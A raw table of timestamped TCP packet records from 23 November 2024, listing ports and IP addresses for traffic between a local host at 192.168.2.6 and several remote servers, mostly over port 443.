Nov 23, 2024 09:16:49.220160007 CET	49821	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.227547884 CET	443	49820	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.227631092 CET	49820	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.255577087 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.256216049 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.256247997 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.256721020 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.256727934 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.277590990 CET	443	49825	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.277715921 CET	49825	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.395984888 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.396058083 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.396337032 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.396745920 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.396766901 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.396785021 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.396790028 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.401004076 CET	49845	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.401041031 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.401196003 CET	49845	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.401659012 CET	49845	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.401670933 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.424812078 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:49.424886942 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:49.430306911 CET	443	49817	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:49.430396080 CET	49817	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:49.466394901 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.466470957 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.466535091 CET	49814	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.467499971 CET	443	49811	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.467534065 CET	49814	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.467546940 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.467560053 CET	49814	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.467566013 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.467670918 CET	443	49811	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.467781067 CET	49811	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.469099045 CET	49811	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.469116926 CET	443	49811	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.469130039 CET	49811	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.469135046 CET	443	49811	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.477469921 CET	49846	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.477499008 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.477686882 CET	49847	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.477703094 CET	49846	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.477720976 CET	443	49847	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.477770090 CET	49847	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.478177071 CET	49846	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.478190899 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.478279114 CET	49847	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.478288889 CET	443	49847	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.523248911 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:49.642813921 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:49.658220053 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.658380985 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.658529043 CET	49813	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.658926964 CET	49813	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.658938885 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.662313938 CET	49848	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.662349939 CET	443	49848	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.662581921 CET	49848	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.662789106 CET	49848	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.662805080 CET	443	49848	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.711525917 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.711604118 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.711602926 CET	443	49827	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.711661100 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.717519045 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.717530966 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.723584890 CET	49827	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.723597050 CET	443	49827	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.724667072 CET	443	49827	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.724726915 CET	49827	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.726830959 CET	49827	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.726898909 CET	443	49827	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.727639914 CET	49827	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.727647066 CET	443	49827	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.729404926 CET	49849	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.729422092 CET	443	49849	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.729707956 CET	49849	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.729881048 CET	49849	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:49.729893923 CET	443	49849	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:49.771212101 CET	443	49838	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.771568060 CET	49838	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.771591902 CET	443	49838	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.772816896 CET	443	49838	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.772880077 CET	49838	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.773943901 CET	49838	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.774003983 CET	443	49838	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.774138927 CET	49838	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.774147034 CET	443	49838	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.812887907 CET	443	49836	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.813221931 CET	49836	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.813236952 CET	443	49836	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.814251900 CET	443	49836	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.814327955 CET	49836	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.815423012 CET	49836	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.815471888 CET	443	49836	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.816024065 CET	49836	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.816030025 CET	443	49836	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.922905922 CET	49827	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.922924042 CET	49838	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.922924042 CET	49836	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.939146996 CET	443	49841	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.940193892 CET	49850	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.940227032 CET	443	49850	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.940311909 CET	49850	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.940742970 CET	49851	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.940763950 CET	443	49851	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.940830946 CET	49851	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.941004038 CET	49841	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.941032887 CET	443	49841	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.941220999 CET	49850	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.941231966 CET	443	49850	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.941586971 CET	49851	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.941596985 CET	443	49851	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.942468882 CET	443	49841	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.942528963 CET	49841	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.943037987 CET	49841	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.943099022 CET	443	49841	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.943181992 CET	49841	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.966732025 CET	443	49839	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.966955900 CET	49839	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.966964006 CET	443	49839	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.968364000 CET	443	49839	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.968441963 CET	49839	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.968799114 CET	49839	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.968861103 CET	443	49839	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.968952894 CET	49839	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.968961954 CET	443	49839	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.983452082 CET	443	49840	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.983671904 CET	49840	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.983681917 CET	443	49840	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.984730005 CET	443	49840	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.984800100 CET	49840	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.985318899 CET	49840	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.985372066 CET	443	49840	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.985496044 CET	49840	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:49.985503912 CET	443	49840	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:49.987319946 CET	443	49841	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.081402063 CET	49852	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.081442118 CET	443	49852	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.081600904 CET	49852	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.082181931 CET	49852	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.082191944 CET	443	49852	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.110924006 CET	49839	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.110937119 CET	49841	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.110961914 CET	443	49841	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.111000061 CET	49840	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.146141052 CET	443	49827	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.146200895 CET	443	49827	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.146408081 CET	49827	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.146538019 CET	49827	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.146553993 CET	443	49827	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.213073015 CET	443	49838	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.213159084 CET	443	49838	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.213253975 CET	49838	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.213648081 CET	49838	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.213668108 CET	443	49838	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.221508026 CET	49841	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.265176058 CET	443	49836	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.265254021 CET	443	49836	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.265490055 CET	49836	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.271435976 CET	49836	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.271466970 CET	443	49836	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.373429060 CET	443	49841	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.373513937 CET	443	49841	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.373604059 CET	49841	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.373773098 CET	49841	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.373786926 CET	443	49841	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.410008907 CET	443	49839	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.410109043 CET	443	49839	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.410192013 CET	49839	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.422657967 CET	49839	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.422676086 CET	443	49839	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.428461075 CET	443	49840	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.428525925 CET	443	49840	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.429550886 CET	49840	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.430824995 CET	49840	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.430835962 CET	443	49840	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.475023031 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:50.475152969 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:50.503328085 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:50.503603935 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:50.503633976 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:50.504196882 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:50.504211903 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:50.504267931 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:50.504278898 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:50.504343033 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:50.505455971 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:50.506694078 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:50.506808996 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:50.506923914 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:50.506932020 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:50.711333990 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:50.711389065 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:50.806292057 CET	49853	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.806314945 CET	443	49853	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.806412935 CET	49853	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.806942940 CET	49854	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.806992054 CET	443	49854	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.807113886 CET	49854	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.807302952 CET	49853	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.807318926 CET	443	49853	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:50.807480097 CET	49854	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:50.807491064 CET	443	49854	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.149296045 CET	443	49851	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.149688959 CET	49851	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.149728060 CET	443	49851	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.150042057 CET	443	49851	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.151798010 CET	49851	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.151890993 CET	443	49851	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.151947021 CET	49851	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.199338913 CET	443	49851	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.200165033 CET	443	49850	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.200789928 CET	49850	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.200822115 CET	443	49850	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.201128006 CET	443	49850	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.201818943 CET	49850	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.201884031 CET	443	49850	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.202095032 CET	49850	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.206247091 CET	49851	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.208786011 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.212702036 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.212704897 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:51.212886095 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.212927103 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.224220991 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.224276066 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.224303961 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.233992100 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.234060049 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.234092951 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.246841908 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.246887922 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.246911049 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.247340918 CET	443	49850	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.260487080 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.260545969 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.260565996 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.275702953 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.275789022 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.275818110 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.290220022 CET	443	49852	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.290522099 CET	49852	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.290532112 CET	443	49852	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.291009903 CET	443	49852	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.291675091 CET	49852	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.291754007 CET	443	49852	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.291778088 CET	49852	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.329099894 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.329125881 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.332218885 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:51.332911015 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.332990885 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.333013058 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.339339018 CET	443	49852	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.344512939 CET	49852	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.351284027 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:51.351914883 CET	49845	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:51.351943970 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:51.352420092 CET	49845	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:51.352426052 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:51.377654076 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.377681017 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.422622919 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.422681093 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.422720909 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.422791958 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.423055887 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.429841995 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.436968088 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.437053919 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.437096119 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.437766075 CET	49855	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.437814951 CET	443	49855	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.438020945 CET	49855	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.438111067 CET	49856	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.438121080 CET	443	49856	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.438267946 CET	49856	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.438472033 CET	49857	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.438508034 CET	443	49857	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.438638926 CET	49857	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.438951969 CET	49855	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.438966036 CET	443	49855	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.439064026 CET	49856	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.439074039 CET	443	49856	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.439295053 CET	49857	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.439306974 CET	443	49857	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.447714090 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.447778940 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.447833061 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.456058979 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.456887960 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.456917048 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.461556911 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.461796045 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.461823940 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.473351955 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.473458052 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.473484039 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.486979961 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.487063885 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.487087011 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.500679970 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.500735998 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.500761032 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.513508081 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.513645887 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.513654947 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.525325060 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.525379896 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.525388002 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.537013054 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.537067890 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.537076950 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.549117088 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.549190998 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.549197912 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.560971975 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.561047077 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.561058044 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.575058937 CET	443	49847	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:51.575624943 CET	49847	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:51.575642109 CET	443	49847	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:51.576097965 CET	49847	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:51.576112032 CET	443	49847	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:51.582304955 CET	443	49848	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:51.585133076 CET	49848	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:51.585149050 CET	443	49848	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:51.585895061 CET	443	49851	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.585902929 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.585953951 CET	49829	443	192.168.2.6	142.250.181.97
Nov 23, 2024 09:16:51.585961103 CET	443	49829	142.250.181.97	192.168.2.6
Nov 23, 2024 09:16:51.585968018 CET	443	49851	162.159.61.3	192.168.2.6
Nov 23, 2024 09:16:51.586013079 CET	49851	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.586086988 CET	49848	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:51.586091995 CET	443	49848	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:51.586164951 CET	49851	443	192.168.2.6	162.159.61.3
Nov 23, 2024 09:16:51.586183071 CET	443	49851	162.159.61.3	192.168.2.6
